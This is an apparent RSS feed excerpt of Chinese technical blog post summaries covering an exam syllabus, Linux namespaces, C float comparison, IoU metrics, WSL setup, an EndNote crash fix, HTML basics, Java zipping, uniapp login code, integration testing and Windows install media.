      <description>00019考试&#xA;湖北省高等教育自学考试实践（技能）课程大纲&#xA;课程名称：计算机应用基础（实践） 课程代码：00019&#xA;实践能力的培养目标。 计算机应用基础（实践）是高等教育自学考试多个专业考试计划中规定必考的公共课，是经管、文史、法律、外语、医药、土建等非计算机专业学生掌握计算机技能所必修的一门基础课程。&#xA;通过本课程的学习，自学应考者应掌握Windows 7操作系统的安装、配置和操作，熟练应用最常用的办公自动化工具软件处理日常办公中的各项事务，熟练使用互联网工具进行信息检索和通信交流，为进一步更深入学习计算机技术打下扎实的基础。&#xA;实践（技能）课程教学基本要求。（含学时、学分要求） 本课程一共2个学分，32个学时。&#xA;本课程教学基本要求：&#xA;熟悉Windows 7的桌面和窗口的构成及功能，能够对Windows 7进行个性化设置；熟练运用资源管理器工具对文件进行管理，包括文件和文件夹的新建、复制、移动、删除、搜索和属性设置等基本操作。熟练掌握运用Word 2010进行文档的编辑、排版、打印的方法和技巧。熟练运用Excel 2010进行表格的创建、格式设置、编辑图形图表和打印输出；掌握Excel中公式和常用函数的使用方法；能够利用Excel进行简单的数据管理（包括排序、筛选和分类汇总等）。熟练运用PowerPoint 2010进行演示文稿的制作、编辑、美化和放映；掌握PowerPoint中动画设置和切换工具的使用。熟练运用WWW浏览器进行信息浏览；利用Web邮箱收发电子邮件。 实践（技能）课程教学参考教材 《计算机应用基础》，赵守香主编，机械工业出版社，出版日期：2015-04-01.&#xA;实践（技能）考核的场所、设备、师资要求。 考核的场所：&#xA;计算机机房。&#xA;考核的设备：&#xA;微型计算机，每台计算机上要求安装Windows 7操作系统、Microsoft Office 2010应用软件（包括Word 2010、Excel 2010和PowerPoint 2010）。&#xA;安装能够利用局域网分发电子试题和进行自动评卷的考试客户端软件。&#xA;师资要求：&#xA;该课程技能考核的考评人员由各考点选聘，选聘人员应能熟练使用计算机，并有能力进行考试网络系统的维护。&#xA;五、实践（技能）考核的项目名称、考核目标、考核内容、考核方法。&#xA;考核目标&#xA;检查自学应试者使用Windows 7操作系统进行文件和文件夹管理的能力，熟练应用Office 2010应用软件处理日常办公中的各项事务的能力，熟练使用互联网工具进行信息检索和通信交流的能力。因此其考查主要从按给定的操作要求完成相关操作的成果的角度展开。&#xA;考核内容&#xA;Windows 7中资源管理器的使用，包括文件和文件夹的新建、复制、移动、删除、搜索和属性设置等基本操作。Word文档的编辑、排版（包括字符格式化、段落格式化、页面格式化）、图片和表格的插入和属性设置。Excel电子表格的编辑、格式化、图表生成以及常用的数据管理操作。PowerPoint演示文稿的编辑、美化、动画设置和切换方式的选定。运用WWW浏览器进行信息浏览；利用Web邮箱收发电子邮件。 考核方式&#xA;上机考试。考生根据题目的要求完成相应的操作，操作完成后交卷离开考场，计算机自动根据考生的作答情况进行评分。&#xA;六、实践（技能）考核评分标准。&#xA;考试成绩常用百分制，由计算机根据考生操作完成的情况进行自动评分。考试成绩60分以上为及格。&#xA;考试时每套试卷的操作题包括6道题目。分别是汉字输入题（15分）、Windows操作题（15分）、Word操作题（25分）、Excel操作题（20分）、PowerPoint（15分）和互联网应用操作题（10分）。&#xA;其中：&#xA;汉字输入题是给出任意一段约100字的文字，要求考生在规定时间内（300秒内）完成该段文字内容的录入，根据考试输入的正确率进行评分。&#xA;对于Windows、有关互联网应用的操作题，考生按要求进行实际操作，系统自动记录考生的操作步骤结果，并进行相应的自动评分。&#xA;对于Word、Excel、PowerPoint的操作题，给定一个原始文档和操作要求。要求考生启动相应的Office软件，打开原始文档按要求进行实际操作，并保存文件，系统对考生所保存的文件根据给定的结果参考文档进行自动评分。&#xA;考试题目示例如下：&#xA;Excel操作题&#xA;在考生文件夹下打开文件excel01.xlsx，操作要求如下：&#xA;（1）按照平时成绩占20%、考试成绩80%的要求计算每个学生的总成绩（要求取整数）；&#xA;（2）将表格数据按总成绩由高到低进行排序。&#xA;互联网应用操作题&#xA;给管理学基础老师发一封电子邮件，并将考生文件夹下的文本文件homework.txt作为附件一起发送。具体要求如下：&#xA;【收件人】huangrong@whut.edu.cn&#xA;【主题】课后作业&#xA;【邮件内容】黄老师，您好！我的作业已经完成，请批阅。具体见附件。&#xA;或&#xA;某模拟网站的主页地址是：http://localhost:65531/examweb/index.htm，打开此主页，浏览“天文小知识”页面，查找“海王星”的页面内容，并将它以文本文件的格式保存到考生目录下，命名为“haiwangxing.txt”。&#xA;2020年10月高等教育自学考试全国统一命题考试 计算机应用基础 （课程代码00018）&#xA;注意事项：&#xA;1.本试卷分为两部分，第一部分为选择题，第二部分为非选择题。&#xA;2.应考者必须按试题顺序在答题卡（纸）指定位置上作答，答在试卷上无效。&#xA;3.涂写部分、画图部分必须使用2B铅笔，书写部分必须使用黑色字迹签字笔。</description>
    </item>
    <item>
      <title>Linux内核中的Namespace技术</title>
      <link>https://bchobby.github.io/posts/a5361edb4342402aad2714fc540742d5/</link>
      <pubDate>Tue, 04 Apr 2023 00:37:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a5361edb4342402aad2714fc540742d5/</guid>
      <description>对应到容器技术，为了隔离不同类型的资源，Linux 内核里面实现了以下几种不同类型的 namespace。&#xA;UTS，对应的宏为 CLONE_NEWUTS，表示不同的 namespace 可以配置不同的 hostname。User，对应的宏为 CLONE_NEWUSER，表示不同的 namespace 可以配置不同的用户和组。Mount，对应的宏为 CLONE_NEWNS，表示不同的 namespace 的文件系统挂载点是隔离的PID，对应的宏为 CLONE_NEWPID，表示不同的 namespace 有完全独立的 pid，也即一个 namespace 的进程和另一个 namespace 的进程，pid 可以是一样的，但是代表不同的进程。Network，对应的宏为 CLONE_NEWNET，表示不同的 namespace 有独立的网络协议栈。 操作 namespace 的常用指令 nsenter，可以用来运行一个进程，进入指定的 namespace。例如，通过下面的命令，我们可以运行 /bin/bash，并且进入 nginx 所在容器的 namespace。&#xA;# nsenter --target 58212 --mount --uts --ipc --net --pid -- env --ignore-environment -- /bin/bash root@f604f0e34bc2:/# ip addr 1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.</description>
    </item>
    <item>
      <title>整数和浮点数作比较差异点（持续更新）</title>
      <link>https://bchobby.github.io/posts/3a61b0369e6bf15ffca6af1e0f0ad575/</link>
      <pubDate>Mon, 03 Apr 2023 23:21:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a61b0369e6bf15ffca6af1e0f0ad575/</guid>
      <description>问题1、整数可以在C语言中直接比较，为射门浮点不可以直接比较。&#xA;解：整数可以直接进行比较，而浮点数由于存在精度问题，不能直接进行比较。&#xA;2、那该怎么比较？举个例子&#xA;解：浮点数的比较需要使用fabs函数取绝对值来解决精度问题。&#xA;#define _CRT_SECURE_NO_WARNINGS 1 #pragma warning(disable:6031) #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;string.h&amp;gt; #include &amp;lt;math.h&amp;gt; int main() { int a = 4, b = 5; float c = 3.14, d = 2.71; if (a &amp;lt; b) { printf(&#34;a is less than b\n&#34;); } else { printf(&#34;a is greater than or equal to b\n&#34;); } if (c &amp;lt; d) { printf(&#34;c is less than d\n&#34;); } else { printf(&#34;c is greater than or equal to d\n&#34;</description>
    </item>
    <item>
      <title>【目标检测】IOU介绍</title>
      <link>https://bchobby.github.io/posts/0c4d7e65c0a865c2691a6c2b204300ed/</link>
      <pubDate>Mon, 03 Apr 2023 22:29:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c4d7e65c0a865c2691a6c2b204300ed/</guid>
      <description>0.什么是IOU IOU全称Intersection over Union，交并比。&#xA;IoU是一种测量在特定数据集中检测相应物体准确度的一个标准。IoU是一个简单的测量标准，只要是在输出中得出一个预测范围(bounding boxex)的任务都可以用IoU来进行测量。&#xA;在目标识别中，我们的预测框与实际框的某种比值就是IOU&#xA;1.IOU的计算 这是IOU的计算方式，通过两个框交叉面积比上整体面积来计算。&#xA;1.1基础IOU的缺点 如果两个框没有相交，根据定义，IoU=0，不能反映两者的距离大小（重合度）。同时因为loss=0，没有梯度回传，无法进行学习训练。IoU无法精确的反映两者的重合度大小。 1.2 基础IOU的优点 可以说它可以反映预测检测框与真实检测框的检测效果。还有一个很好的特性就是尺度不变性，也就是对尺度不敏感（scale invariant）， 在regression任务中，判断predict box和gt的距离最直接的指标就是IoU。(满足非负性；同一性；对称性；三角不等性) 2. GIOU GIOU出自下面的论文：&#xA;Generalized Intersection over Union: A Metric and A Loss for Bounding Box Regression&#xA;对于任意的两个Ａ、B框，首先找到一个能够包住它们的最小方框Ｃ。然后计算C \ (A ∪ B) 的面积与Ｃ的面积的比值，注：C \ (A ∪ B) 的面积为C的面积减去A∪B的面积。再用Ａ、Ｂ的IoU值减去这个比值得到GIoU。&#xA;3 DIOU DIoU要比GIou更加符合目标框回归的机制，将目标与anchor之间的距离，重叠率以及尺度都考虑进去，使得目标框回归变得更加稳定，不会像IoU和GIoU一样出现训练过程中发散等问题。&#xA;其中 b b b ， b g t b^{gt} bgt ， 分别代表了预测框和真实框的中心点，且 ρ \rho ρ代表的是计算两个中心点间的欧式距离。 c c c 代表的是能够同时包含预测框和真实框的最小闭包区域的对角线距离。&#xA;4 CIOU 论文考虑到bbox回归三要素中的长宽比还没被考虑到计算中，因此，进一步在DIoU的基础上提出了CIoU。其惩罚项如下面公式：</description>
    </item>
    <item>
      <title>win10安装linux子系统</title>
      <link>https://bchobby.github.io/posts/e2395a9151dc54d8e188c98d67daa1db/</link>
      <pubDate>Mon, 03 Apr 2023 17:01:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2395a9151dc54d8e188c98d67daa1db/</guid>
      <description>开启支持 点击确定,执行完毕,点击重启&#xA;安装linux系统 windows应用商店下载linux&#xA;安装 管理员打开ubuntu,安装完毕&#xA;打开linux cmd输入bash&#xA;Linux子系统（WSL）&#xA;配置阿里云下载镜像</description>
    </item>
    <item>
      <title>Word中 Go to endnote 出现闪退问题解决办法</title>
      <link>https://bchobby.github.io/posts/210411a24a0b06d4c37339c237d95c7f/</link>
      <pubDate>Mon, 03 Apr 2023 16:38:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/210411a24a0b06d4c37339c237d95c7f/</guid>
      <description>注意：以下解决方法是在 你没有 “FQ”的情况，FQ也会导致endnote 闪退哈，血的教训 ！&#xA;如果之前Endnote都没有出现问题，突然出现闪退的情况， 有可能是word中宏的安全性太高了了，阻止了它。请在word中，工具菜单，宏，安全性，设置为“低”试试。 方法一 1、首先打开需要编辑的WORD文档，找到工具栏的“文件”选项并点击。 2、进入文件选项卡之后，找到“选项”并点击。 3、在选项卡下选择最下面的“信任中心”并点击。 4、在信任中心选项卡下设置“信用中心设置”。 5、按照自己的需求选用“宏设置”，即可。（本人从第二个修改成第三个） 方法二、修改Host文件阻止EndNote检查更新 （推荐这个方法） 1、开门见山，在资源管理器中输入“C:\Windows\System32\drivers\etc”回车到该路径下，使用记事本打开“host”文件。&#xA;2、在文件最后添加“220.181.38.148 download.endnote.com”并保存。&#xA;3、此时EndNote即可正常打开（如无其他意外情况），此种方法第一次打开时可能会有些慢，请等待片刻。&#xA;遇到的问题和解决的办法 第二种方法需要管理员权限的，先另存到桌面，然后在替换回去，这时他会提示使用管理员权限，点继续就好了。&#xA;感谢：&#xA;EndNote X9 软件开启即闪退更好的解决方法 - 知乎 (zhihu.com)</description>
    </item>
    <item>
      <title>html5，css3笔记(基础)</title>
      <link>https://bchobby.github.io/posts/9fdaf90b953dd463c8cee636b1a07f41/</link>
      <pubDate>Mon, 03 Apr 2023 16:09:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9fdaf90b953dd463c8cee636b1a07f41/</guid>
      <description>什么是html？ HTML是超文本标记语言。HTML也就是由各种各样的标签组成。&#xA;什么是网站? 网站是由网页组成，网页包括文字，图片，音频，视频等元素。&#xA;web标准 包括结构，表现，行为三个方面。&#xA;结构：用于对网页元素进行整理和分类，主要用html。&#xA;表现：用于设置网页元素的版式、颜色、大小等外观样式，主要用CSS。&#xA;行为：指网页模型的定义及交互的编写，主要用的是Javascript。&#xA;Web标准提出的最佳体验方案：结构、样式、行为相分离。简单理解：结构写到HTML文件中，表现写到CSS文件中，行为写到JavaScript文件中。&#xA;HTML语法规范 标签：所有的标签都要写在尖括号里，大多数标签是成对出现的，也有单标签。&#xA;双标签：&amp;lt;标签&amp;gt; &amp;lt;/标签&amp;gt; 例如：&amp;lt;html&amp;gt; &amp;lt;/html&amp;gt;&#xA;单标签：&amp;lt;标签&amp;gt; 例如：&amp;lt;br /&amp;gt;&#xA;标签关系 双标签之间的关系：1.包含关系 2.并列关系&#xA;HTML基本结构标签 每个网页都会有一个基本的结构标签（也称为骨架标签），页面内容也是在这些基本标签上书写。&#xA;1.HTML标签：&amp;lt;html&amp;gt; &amp;lt;/html&amp;gt;，页面中最大的标签，我们称为根标签。&#xA;2.文档的头部：&amp;lt;head&amp;gt; &amp;lt;/head&amp;gt;，注意在head标签中我们必须要设置的标签是title。&#xA;3.文档的标题：&amp;lt;titile&amp;gt; &amp;lt;/title&amp;gt;，让页面拥有一个属于自己的网页标题。&#xA;4.文档的主体：&amp;lt;body&amp;gt; &amp;lt;/body&amp;gt;，元素包含文档的所有内容，页面内容基本都是放到body里面的。&#xA;结构图&#xA;开发工具 VS Code&#xA;推荐VS Code 插件安装&#xA;基础代码含意 1.&amp;lt;!DOCTYPEhtml&amp;gt;：文档类型声明标签，告诉浏览器这个页面采取html5版本来显示页面。&#xA;2.&amp;lt;htmllang=“en”&amp;gt;：告诉浏览器或者搜索引擎这是一个英文网站，本页面采取英文来显示。en定义语言为英语，zh-CN定义语言为中文。&#xA;3.&amp;lt;meta charset=&#34;UTF-8”/&amp;gt;：必须写，采取 UTF-8来保存文字，如果不写就会乱码。charset 常用的值有：GB2312、BIG5、GBK和UTF-8，其中UTF-8也被称为万国码，基本包含了全世界所有国家需要用到的字符。&#xA;常用标签 标题标签 一共有六级：&amp;lt;h1&amp;gt;~&amp;lt;h6&amp;gt;等级依次递减。&#xA;格式：&amp;lt;h1&amp;gt; 标题 &amp;lt;/h1&amp;gt;&#xA;特点：&#xA;1.加了标题的文字会变的加粗，字号也会依次变大。&#xA;2.一个标题独占一行。&#xA;段落标签 格式：&amp;lt;p&amp;gt; 段落 &amp;lt;/p&amp;gt;&#xA;特点：&#xA;1.文本在一个段落中会根据浏览器窗口的大小自动换行。&#xA;2.段落和段落之间保有空隙。&#xA;换行标签 格式：&amp;lt;br /&amp;gt;&#xA;特点：&#xA;1.&amp;lt;br/&amp;gt;是个单标签。&#xA;2.&amp;lt;br/&amp;gt;标签只是简单地开始新的一行，跟段落不一样，段落之间会插入一些垂直的间距。&#xA;文本格式化标签 作用：在网页中，有时需要为文字设置粗体、斜体或下划线等效果，这时就需要用到HTML中的文本格式化标签，使文字以特殊的方式显示。</description>
    </item>
    <item>
      <title>JAVA实现文件的压缩与解压</title>
      <link>https://bchobby.github.io/posts/ea9fbec06282b9842a921b61c955e653/</link>
      <pubDate>Mon, 03 Apr 2023 15:27:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ea9fbec06282b9842a921b61c955e653/</guid>
      <description>压缩 public class ZipUtilt { public static boolean toZip(ServletResponse response, String filePath) { try { // 获取被压缩文件 File file = new File(filePath); // 从压缩文件中获取输出流 OutputStream baseOS = response.getOutputStream(); ZipOutputStream zipOutputStream = new ZipOutputStream(baseOS); // 被压缩文件和目录分不同的方式压缩 boolean isSuccess=fileToZip(file, zipOutputStream, &#34;&#34;); zipOutputStream.flush(); zipOutputStream.close(); baseOS.flush(); baseOS.close(); return isSuccess; } catch (Exception e) { // TODO: handle exception return false; } } // 主要是针对目录好做递归处理抽取方法 public static boolean fileToZip(File file, ZipOutputStream zipOutputStream, String zipEntryName) throws Exception { if (file.</description>
    </item>
    <item>
      <title>uniapp简易封装request请求</title>
      <link>https://bchobby.github.io/posts/ebf46db642335bfd4f5904e9af0c62af/</link>
      <pubDate>Mon, 03 Apr 2023 14:45:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ebf46db642335bfd4f5904e9af0c62af/</guid>
      <description>一、创建httpRequest.js文件&#xA;// const baseUrl = &#34;http://127.0.0.1:8080/&#34;; const baseUrl = &#39;https://xxx.online/prod-api/&#39; export const request = (url,method,data) =&amp;gt;{ return new Promise((resolve,reject) =&amp;gt;{ uni.request({ url: baseUrl + url, data: data, method: method, header: { token: uni.getStorageSync(&#39;token&#39;)!= null ? uni.getStorageSync(&#39;token&#39;): &#39;&#39; }, success: (res) =&amp;gt; { resolve(res) }, fail: (error) =&amp;gt; { reject(error) } }) }) } export default request 二、main.js文件引入request&#xA;import Vue from &#39;vue&#39; //httpRequest,js文件创建在utils文件夹下 import {request} from &#34;./utils/httpRequest.js&#34; Vue.prototype.request = request 三、页面调用(微信小程序最新登录方式—选择+填写昵称)</description>
    </item>
    <item>
      <title>uniapp小程序使用getUserProfile登录(获取昵称统一为‘微信用户’&#43;头像为灰色头像)</title>
      <link>https://bchobby.github.io/posts/d8aa8c327b3e708b42abf5ac0d455a70/</link>
      <pubDate>Mon, 03 Apr 2023 14:44:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d8aa8c327b3e708b42abf5ac0d455a70/</guid>
      <description>一、微信授权登录按钮&#xA;&amp;lt;view class=&#34;name&#34; v-if=&#34;!hasLogin&#34;&amp;gt; &amp;lt;u-button @click=&#34;getUserProfile()&#34; size=&#34;small&#34; class=&#34;authorizationBtn&#34; type=&#34;primary&#34;&amp;gt; 微信授权登录 &amp;lt;/u-button&amp;gt; &amp;lt;/view&amp;gt; 二、微信授权登录弹窗&#xA;&amp;lt;view&amp;gt; &amp;lt;!-- 登录弹框 --&amp;gt; &amp;lt;u-popup :show=&#34;phoneModalShow&#34; mode=&#34;center&#34; border-radius=&#34;14&#34; &amp;gt; &amp;lt;view class=&#34;sq_box&#34;&amp;gt; &amp;lt;view&amp;gt;授权登录&amp;lt;/view&amp;gt; &amp;lt;view&amp;gt;授权获取您的手机号&amp;lt;/view&amp;gt; &amp;lt;view&amp;gt; &amp;lt;view class=&#34;agreement_warp&#34;&amp;gt; &amp;lt;view&amp;gt;登录代表您已同意&amp;lt;/view&amp;gt; &amp;lt;view @click=&#34;agreenmentDetailHandle&#34; style=&#34;color: #ff431e;&#34;&amp;gt;隐私政策&amp;lt;/view&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;u-button style=&#34;width: 100%;&#34; type=&#34;success&#34; @getphonenumber=&#34;getphonenumber&#34; open-type=&#34;getPhoneNumber&#34;&amp;gt; 微信快捷授权登录 &amp;lt;/u-button&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;/u-popup&amp;gt; &amp;lt;/view&amp;gt; 三、数据定义&#xA;hasLogin: false, phoneModalShow: false, // 手机号隐藏层 四、登录方法&#xA;//获取个人信息 async getUserProfile() { //调用微信获取code uni.login({ provider:&#39;weixin&#39;, success: (logRes) =&amp;gt; { console.log(logRes.code) this.code = logRes.</description>
    </item>
    <item>
      <title>什么是集成测试？它和系统测试的区别是什么? 操作方法来了</title>
      <link>https://bchobby.github.io/posts/778efe8af15b89c8e72473f5dca7a212/</link>
      <pubDate>Mon, 03 Apr 2023 14:21:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/778efe8af15b89c8e72473f5dca7a212/</guid>
      <description>01 什么是集成测试？ 集成测试是软件测试的一种方法，用于测试不同的软件模块之间的交互和协作是否正常。集成测试的主要目的是确保不同的软件模块能够无缝协作，形成一个完整的软件系统，并且能够满足系统的需求和规格。&#xA;在集成测试中，测试人员将已经通过单元测试的软件模块组合起来，并测试它们之间的交互和协作。这些软件模块可以是由同一个开发团队或者不同的开发团队编写的，甚至可以是由不同的公司或组织提供的。&#xA;集成测试通常包括以下步骤：&#xA;定义集成测试计划：确定集成测试的范围、测试目标、测试方法和测试时间等方面的计划。&#xA;集成测试环境搭建：准备集成测试环境，包括硬件、软件、网络等方面的环境。&#xA;集成测试用例设计：根据需求和规格书编写集成测试用例，用于测试软件模块之间的交互和协作。&#xA;集成测试执行：执行集成测试用例，验证不同的软件模块之间的交互和协作是否正常，发现和修复缺陷。&#xA;集成测试报告：总结集成测试结果，包括测试覆盖率、测试结果和缺陷汇报等。&#xA;集成测试是软件测试过程中的一个重要环节，能够帮助开发团队在开发周期的早期发现和解决软件模块之间的交互问题，确保整个软件系统的质量和可靠性。&#xA;02 集成测试和系统测试的区别 集成测试和系统测试是软件测试过程中两个不同的阶段，它们之间有以下几个区别：&#xA;测试对象不同：集成测试主要测试软件模块之间的交互和协作，而系统测试则是测试整个系统的功能、性能和可靠性。&#xA;测试范围不同：集成测试的测试范围通常比系统测试小，它只测试软件模块之间的交互和协作是否正常。而系统测试的测试范围较大，它测试整个软件系统的功能、性能和可靠性。&#xA;测试环境不同：集成测试通常在开发环境中进行，而系统测试则在生产环境或与生产环境相似的环境中进行。这是因为系统测试需要测试整个系统的行为和响应，而这些行为和响应在生产环境中才能真正体现出来。&#xA;测试目的不同：集成测试主要是为了测试模块之间的交互和协作，确保整个系统在各个部分之间无缝协作，同时还能保证软件的质量和可靠性。而系统测试则是为了测试整个软件系统的功能、性能和可靠性是否满足要求。&#xA;测试时间不同：集成测试通常在开发周期的中后期进行，而系统测试则在整个软件开发周期的末期进行。这是因为集成测试需要等到模块开发完成之后才能进行，而系统测试需要在整个软件开发完成后进行。&#xA;综上所述，集成测试和系统测试在测试对象、测试范围、测试环境、测试目的和测试时间等方面存在着明显的区别。开发团队需要根据软件开发的不同阶段和测试需求，灵活选择和组合不同的测试方式和方法，以确保软件质量和可靠性。&#xA;03 如何看待集成测试？ 集成测试是软件开发过程中非常重要的一环，它是在单元测试和系统测试之间的一项测试活动，主要是验证不同的软件模块之间的交互和协作是否正常，确保整个系统在各个部分之间无缝协作，同时还能保证软件的质量和可靠性。&#xA;以下是对集成测试的一些看法：&#xA;集成测试是保证软件质量的关键步骤之一。&#xA;集成测试可以帮助开发团队及时发现和解决各个模块之间的交互问题，确保整个系统的功能、性能和稳定性达到要求。&#xA;集成测试需要全面和细致。&#xA;在进行集成测试时，需要对所有的模块进行全面的测试，并尽可能地覆盖各种测试情况，以确保系统能够正常工作。同时，集成测试也需要非常细致，因为一个小的问题都可能导致整个系统崩溃。&#xA;集成测试需要与其他测试活动紧密配合。&#xA;集成测试是软件测试过程中的一个重要环节，与其他测试活动密切相关，例如单元测试、系统测试等。这些测试活动之间需要互相配合，形成一个完整的测试体系。&#xA;集成测试需要不断完善和改进。&#xA;随着软件开发的不断发展和变化，集成测试也需要不断地完善和改进。这需要测试团队不断学习新的测试技术和工具，并根据实际情况不断调整和改进测试策略和方法。&#xA;总之，集成测试是软件开发过程中非常重要的一环，它可以帮助开发团队及时发现和解决各种软件问题，确保软件质量和可靠性。在进行集成测试时，需要全面和细致，与其他测试活动紧密配合，并不断完善和改进测试策略和方法。&#xA;04 如何进行集成测试 进行集成测试需要有一个系统化的计划和步骤，以下是集成测试的一般步骤：&#xA;制定集成测试计划&#xA;在进行集成测试之前，需要先制定一个集成测试计划。这个计划应该包括测试的范围、测试的目标、测试的方法和工具、测试资源的分配和时间表等。&#xA;设计集成测试用例&#xA;集成测试用例是用来验证系统各个模块之间的交互和协作是否正常的测试用例。这些测试用例应该尽可能的覆盖系统的所有功能和交互。在设计测试用例时，需要根据需求规格说明书和系统设计文档进行测试用例的设计。&#xA;准备测试环境&#xA;在进行集成测试之前，需要准备好测试环境，包括硬件、软件和测试数据。测试环境应该和实际生产环境尽可能相似，以确保测试的准确性和真实性。&#xA;进行测试执行&#xA;在进行测试执行之前，需要先对测试用例进行排序和优先级划分，以确保测试能够有效地进行。在测试执行时，需要对测试用例进行逐一测试，并记录测试结果和问题。&#xA;进行问题修复和再测试&#xA;在测试执行过程中，可能会发现一些问题。这些问题需要进行记录，并尽快修复。修复完问题后，需要进行再测试以确保问题已经被彻底解决。&#xA;进行集成测试报告&#xA;在集成测试完成后，需要生成一个集成测试报告，这个报告应该包括测试结果、问题汇总、测试用例覆盖率等信息。这个报告应该向相关的开发团队和管理人员汇报测试结果。&#xA;总之，集成测试是软件测试过程中的重要一环。进行集成测试需要有一个系统化的计划和步骤，并需要对测试用例进行设计、测试执行和问题修复等工作。通过这些步骤，可以有效地发现和解决软件缺陷，提高系统的质量和可靠性。&#xA;最后： 下方这份完整的软件测试视频学习教程已经整理上传完成，朋友们如果需要可以自行免费领取 【保证100%免费】&#xA;这些资料，对于【软件测试】的朋友来说应该是最全面最完整的备战仓库，这个仓库也陪伴上万个测试工程师们走过最艰难的路程，希望也能帮助到你！&#xA;​</description>
    </item>
    <item>
      <title>Windows官方U盘系统盘制作(windows11)</title>
      <link>https://bchobby.github.io/posts/00ae3ac4b24388b07ed2cdd8b79a7836/</link>
      <pubDate>Mon, 03 Apr 2023 10:09:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/00ae3ac4b24388b07ed2cdd8b79a7836/</guid>
      <description>电脑用着卡顿或者搞环境把系统搞坏了咋办呢，那当然是重新做系统啦。&#xA;现在制作系统盘的方式有很多，但我本人最喜欢的制作方式还是官方的制作方式，今天就把微软官方的制作方法分享给大家。其实官方就有详细教程，这篇主要写给纯小白哈。&#xA;1.准备工具 U 盘：连接至少具有 8 GB 空间的空白 U 盘。U 盘上的所有内容都将被删除。 如果U盘里有东西且之后还需要，建议自行拷贝保存至安全的地方，除了清空U盘里的内容，我还习惯格式化一下U盘，虽然没啥用，但是他比起删除来说更快啊。&#xA;2.下载windows安装工具 下载连接：Download Windows 11&#xA;这里以Windows11为例，Windows10下载方法同样（下载 Windows 10）&#xA;进入网站之后，会看到“Windows 11 安装助手”，“创建 Windows 11 安装”，“下载 Windows 11 磁盘映像 (ISO)”，我们选择第二个直接点击立即下载。“开始之前”中写明了更多关于制作系统盘的要求，比如Windows11最低支持的硬件，大家可以自己看一下。&#xA;找到下载的安装工具，也就是一个普通的快捷方式mediacreationtool.exe，双击打开。&#xA;打开后进入“适用的声明和许可条款”界面，有兴趣的可以阅览一遍，或者直接点击“接受”即可。 选择语言和版本&#xA;此步骤主要选择想要安装的语言和版本，因为咱们下载的是Windows11的安装工具，所以只有Windows11和Windows11家庭中文版两个选项。&#xA;相信大家大部分会选择“中文(简体)”，当然，如果你习惯其他语言，也可以选择。&#xA;“对这台电脑使用推荐的选项”中的“这台电脑”指的是制作系统盘的电脑，如果此电脑和预装新系统的电脑硬件设施配置差不多的话，直接勾选此选项即可，问就是省事儿。&#xA;选好之后点击下一页。&#xA;选择要使用的介质&#xA;直接选择U盘即可，不得小于8G，点击下一页。&#xA;选择U盘&#xA;选择你插入的U盘，点击下一页。&#xA;正在下载Windows&#xA;等待进度到100%，根据网速不同，时间长短不一，下载完成后点击下一页。&#xA;正在创建Windows介质&#xA;类似于平时的“安装”&#xA;系统盘制作完成&#xA;点击“完成”，完成制作。&#xA;打开系统盘，可以看到内部结构如下，如果是在本电脑安装系统，双击setup.exe即可开始。&#xA;当然，更多的还是为系统坏掉的电脑安装系统，时间关系后续再更新吧，大家也可先自行查阅网上资料。&#xA;以上就是微软官方系统盘的制作全过程，虽然啰嗦点，但也够详细了，现在制作官方系统盘比起以前确实简单了不少。写这个教程主要是我妹系统老坏哈哈哈，而且比较推荐大家用官方的，确确实实干净不少；但目前来说也有缺点，因为没用PE系统，所以用此方法安装完系统后，原来系统C盘就被清空放置新系统了，喜欢将文件放在桌面的小伙伴可以以后将重要文件存在其他盘里哈。</description>
    </item>
    <item>
      <title>软考高项第4版教程-差异点解析来啦（第5章下）</title>
      <link>https://bchobby.github.io/posts/b03e591807ad5374b6131bc6249f9de5/</link>
      <pubDate>Mon, 03 Apr 2023 09:49:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b03e591807ad5374b6131bc6249f9de5/</guid>
      <description>第5章信息系统工程，我拆分成2篇来解析第4版教程的差异重点，上篇解析了“软件工程”和“数据工程”知识块，这次带来下篇：“系统集成”和“安全工程”知识块。&#xA;“信息系统工程”文字版 “系统集成”讲了4部分知识点，分别是网络集成、数据集成、软件集成和应用集成。&#xA;1. 系统集成4个基本原则&#xA;在开始学这4大金刚之前，你需要先知道系统集成的4个基本原则：开放性、结构化、先进性和主流化。&#xA;先进性有可能会和你之前想的不一样，之前想的是要选择最合适的，而不是选择最先进的，但是这里之所以把先进性列为基本原则，主要是因为系统采用先进的技术才能确保系统的优势和较长的生存周期。&#xA;2. 7个子系统&#xA;网络集成的体系框架中列出了7个比较重要的子系统，分别是传输子系统、交换子系统、安全子系统、网管子系统、服务器子系统、网络操作系统和服务子系统。&#xA;你需要掌握这几个子系统的定位和作用，按照我的理解，这个知识点如果要考的话，只会在上午场的选择题中考到，而且会通过判断的方式来考，所以理解了这几个子系统的作用，这个知识点就基本上搞定。&#xA;3. 数据集成&#xA;数据集成是个难点，这里面涉及到数据集成的4个层次，分别是基本数据集成、多级视图集成、模式集成和多粒度数据集成。&#xA;你需要掌握的是这4个集成的特点区别，同样的，也可能通过选择题让你判断对错的方式来考，如果实在理解不了，记住一些特点的关键词也是一种方法。&#xA;4. 异构数据集成&#xA;数据集成还提到了异构数据集成，异构数据集成方法其实一共有三种，分别是过程式方法、声明式方法和利用中间件集成。至于开放数据库互联标准&#xA;ODBC、基于XML的数据交换标准和 基于 JSON 的数据交换格式，做一些了解就好。&#xA;5. 软件集成&#xA;软件集成主要讲了软件构件的一系列标准，比如CORBA、COM、DCOM 与 COM+、.NEI、J2EE 